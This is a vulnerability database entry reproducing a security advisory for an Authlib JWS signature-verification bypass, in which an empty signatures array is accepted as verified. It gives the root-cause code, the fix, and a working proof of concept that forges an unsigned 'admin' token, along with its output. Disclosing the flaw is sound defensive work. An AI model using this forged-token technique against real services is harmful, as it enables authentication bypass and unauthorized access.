GHSA-6V38-4H7W-RJ9H

Vulnerability from github – Published: 2026-10-27 14:50 – Updated: 2026-10-27 14:50
VLAI
Summary
Authlib: empty signatures validation in JWS JSON deserialization
Details

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified

is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T14:50:18Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b\u0027{\"sub\":\"attacker\",\"role\":\"admin\"}\u0027\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -\u003e {\u0027header\u0027: [], \u0027payload\u0027: b\u0027{\"sub\":\"attacker\",\"role\":\"admin\"}\u0027}\n[B] ATTACK   general JSON, signatures:[] , key=\u003creal key\u003e\n    ACCEPTED  -\u003e {\u0027header\u0027: [], \u0027payload\u0027: b\u0027{\"sub\":\"attacker\",\"role\":\"admin\"}\u0027}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b\u0027{\"sub\":\"attacker\",\"role\":\"admin\"}\u0027\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module\u0027s deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) \u003e 0`. Pull request #938\nproposes the same thing.",
  "id": "GHSA-6v38-4h7w-rj9h",
  "modified": "2026-10-27T14:50:18Z",
  "published": "2026-10-27T14:50:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/pull/938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/762428"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/762428"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib: empty signatures validation in JWS JSON deserialization"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.